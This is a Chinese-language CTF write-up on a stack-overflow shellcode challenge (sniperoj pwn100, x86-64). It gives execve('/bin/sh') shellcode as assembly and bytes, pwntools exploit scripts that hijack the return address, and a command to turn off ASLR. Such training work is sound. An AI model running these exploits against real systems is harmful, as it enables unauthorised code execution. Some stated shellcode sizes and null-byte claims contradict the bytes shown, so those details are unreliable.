1. 理解sniperoj-pwn100-shellcode-x86-64挑战的本质
当我第一次看到sniperoj-pwn100这个题目时,立刻意识到这是一个典型的shellcode注入挑战。这类题目在CTF比赛中非常常见,特别是在Pwn(二进制漏洞利用)类题目中。题目名称中的x86-64明确指出了目标架构,这意味着我们需要编写能在64位Linux系统上执行的shellcode。
这类题目通常会提供一个存在缓冲区溢出漏洞的二进制程序,我们的目标是通过精心构造的输入覆盖返回地址,劫持程序控制流,最终执行我们注入的shellcode。在CTF比赛中,这类题目往往作为Pwn方向的入门题,考察选手对栈溢出和shellcode编写的基本理解。
提示:在实际CTF比赛中,遇到pwn100这样的题目编号通常意味着这是该方向的基础题,适合刚接触二进制安全的选手练习。
2. 环境准备与工具链配置
2.1 基础环境搭建
要开始分析这个挑战,我们需要准备以下工具和环境:
- Linux调试环境:推荐使用Ubuntu 18.04/20.04 LTS,这是CTF比赛的常用环境
- 必备工具:
- gdb:GNU调试器,基础调试工具
- pwntools:Python的漏洞利用开发库
- checksec:检查二进制保护机制的小工具
- objdump:反汇编工具
- strace:系统调用跟踪工具
安装这些工具的命令如下:
sudo apt update sudo apt install gdb python3-pip binutils strace pip3 install pwntools2.2 题目二进制分析
假设我们已经获得了题目提供的二进制文件pwn100,首先应该进行基础分析:
file pwn100 checksec --file=pwn100典型的输出可能如下:
pwn100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped [*] '/pwn100' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments从保护机制来看,这是一个几乎没有开启任何保护的二进制,这很符合入门级题目的特点。特别值得注意的是NX(No-eXecute)被禁用,这意味着栈上的代码是可以执行的,这正是shellcode注入的前提条件。
3. 漏洞分析与利用规划
3.1 逆向工程与漏洞定位
使用IDA Pro或Ghidra对二进制进行反编译,我们可以快速定位到漏洞点。在入门级题目中,通常会有一个明显的缓冲区溢出漏洞,比如使用不安全的gets()或read()函数。
假设我们发现了如下伪代码:
void vulnerable_function() { char buffer[64]; read(0, buffer, 256); // 明显的栈溢出漏洞 }这个函数声明了一个64字节的缓冲区,但却允许读取256字节的数据,这造成了栈溢出。在x86-64架构下,我们可以通过这个漏洞覆盖函数的返回地址。
3.2 栈布局理解
在x86-64架构下,函数调用时的典型栈布局如下(从高地址到低地址):
- 函数参数(如果有)
- 返回地址
- 保存的基指针(RBP)
- 局部变量(如我们的buffer)
我们需要确定buffer到返回地址的偏移量。这可以通过以下方法实现:
- 使用cyclic模式字符串生成工具
- 在gdb中运行程序并输入这个字符串
- 当程序崩溃时,查看RIP寄存器的值
- 用cyclic工具计算精确偏移
使用pwntools的示例:
from pwn import * cyclic(200)4. Shellcode开发与优化
4.1 基础shellcode编写
对于x86-64架构的Linux系统,一个经典的shellcode目标是执行/bin/sh。以下是汇编实现:
section .text global _start _start: ; execve("/bin/sh", NULL, NULL) xor rsi, rsi ; RSI = 0 push rsi ; 字符串结尾的NULL mov rdi, '/bin//sh' ; 注意这里使用8字节对齐 push rdi mov rdi, rsp ; RDI = 指向"/bin//sh"的指针 xor rdx, rdx ; RDX = 0 mov rax, 59 ; execve系统调用号 syscall这个shellcode只有35字节,非常紧凑。我们可以用nasm编译它:
nasm -f elf64 shellcode.asm -o shellcode.o ld shellcode.o -o shellcode objdump -d shellcode4.2 Shellcode提取与测试
从编译好的二进制中提取机器码:
objcopy --dump-section .text=shellcode.bin shellcode hexdump -C shellcode.bin得到的shellcode类似于:
48 31 f6 56 48 bf 2f 62 69 6e 2f 2f 73 68 57 48 89 e7 48 31 d2 b8 3b 00 00 00 0f 05我们可以用C程序测试这个shellcode:
char code[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"; int main() { void (*func)() = (void(*)())code; func(); return 0; }编译时需要关闭NX保护:
gcc -z execstack test_shellcode.c -o test_shellcode5. 完整漏洞利用开发
5.1 构建攻击载荷
结合前面的分析,我们的攻击载荷结构应该是:
- NOP雪橇(可选)
- Shellcode
- 填充数据(直到覆盖返回地址)
- 覆盖的返回地址(指向shellcode或NOP雪橇)
使用pwntools构建攻击载荷的Python脚本示例:
from pwn import * context.arch = 'amd64' context.os = 'linux' # 计算偏移量,假设我们通过调试确定为72 offset = 72 # 准备shellcode shellcode = asm(shellcraft.sh()) # 构建payload payload = flat([ b'\x90' * (offset - len(shellcode)), # NOP sled shellcode, pack(0x7fffffffe000) # 假设的栈地址,实际需要调试确定 ]) # 发送payload io = process('./pwn100') io.send(payload) io.interactive()5.2 地址确定与ASLR问题
在现代系统中,ASLR(地址空间布局随机化)会给漏洞利用带来挑战。但在CTF比赛中,通常会有以下情况之一:
- ASLR被禁用
- 程序有信息泄露漏洞可以获取地址
- 题目提供了二进制和libc
如果ASLR开启,我们需要通过某种方式泄漏地址,或者利用题目提供的条件。在本题中,假设ASLR关闭,我们可以通过调试确定栈地址。
在gdb中查看栈地址:
gdb ./pwn100 b *vulnerable_function+20 r info frame5.3 利用脚本优化
一个更健壮的利用脚本应该包含以下部分:
#!/usr/bin/env python3 from pwn import * # 设置目标 target = './pwn100' context.binary = target context.log_level = 'debug' def exploit(): # 确定偏移量 offset = 72 # 准备shellcode shellcode = asm(shellcraft.sh()) # 启动进程 io = process(target) # 获取泄漏的栈地址(如果有信息泄漏) # 这里假设没有ASLR,使用固定地址 stack_addr = 0x7fffffffe000 # 构建payload payload = flat([ shellcode.ljust(offset, b'\x90'), # 用NOP填充剩余空间 pack(stack_addr) ]) # 发送payload io.send(payload) # 切换到交互模式 io.interactive() if __name__ == '__main__': exploit()6. 调试技巧与常见问题解决
6.1 GDB调试技巧
调试shellcode注入时,以下GDB命令特别有用:
在关键位置设置断点:
b *vulnerable_function+20查看栈内容:
x/40gx $rsp查看返回地址:
info frame单步执行shellcode:
ni si # 进入函数调用检查寄存器值:
info registers
6.2 常见问题与解决方案
Segmentation Fault:
- 检查返回地址是否正确
- 确保shellcode没有包含空字节(\x00)
- 验证栈是否可执行
Shellcode不工作:
- 用strace跟踪系统调用
- 在gdb中单步执行shellcode
- 检查是否所有寄存器都设置正确
偏移量不确定:
- 使用cyclic模式字符串
- 在崩溃时检查RIP值
- 用cyclic -l 计算偏移
ASLR干扰:
- 尝试关闭ASLR:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- 寻找信息泄漏漏洞
- 使用相对跳转(如jmp rsp)
7. 高级技巧与扩展思路
7.1 更小的shellcode
我们可以进一步优化shellcode大小。以下是一个21字节的版本:
xor rsi, rsi push rsi mov rbx, '/bin//sh' push rbx push rsp pop rdi imul esi mov al, 59 syscall对应的机器码:
48 31 f6 56 48 bb 2f 62 69 6e 2f 2f 73 68 53 54 5f 48 f7 ee b0 3b 0f 057.2 规避字符限制
有些题目会过滤特定字符,如空字节、换行符等。我们需要调整shellcode避免这些字符。例如,用以下指令替代xor:
mov rsi, 0 => push 0 pop rsi7.3 多阶段攻击
当一次注入无法完成所有操作时,可以考虑多阶段攻击:
- 第一阶段:泄漏内存地址
- 第二阶段:根据泄漏的地址构造最终payload
7.4 使用现有工具
pwntools提供了强大的shellcode生成功能:
from pwn import * context.arch = 'amd64' print(asm(shellcraft.sh()))还可以生成特定功能的shellcode:
shellcraft.amd64.linux.cat('/flag') shellcraft.amd64.linux.echo('Hello\n') shellcraft.amd64.linux.dupsh()8. 实际比赛中的应用与变种
在真实CTF比赛中,pwn100这类基础题目可能会有以下变种:
- 有限的写入空间:可能需要多阶段注入或更小的shellcode
- 部分覆盖:只允许修改返回地址的部分字节
- 特殊字符过滤:需要编码shellcode或使用替代指令
- 沙箱限制:seccomp限制可用系统调用,需要绕过
例如,在ctf.show大牛杯的pwn login题目中,虽然也是基础题目,但加入了简单的输入过滤,需要选手绕过。
注意:在实际比赛中,一定要仔细阅读题目描述,检查是否有特殊限制条件,这往往是解题的关键。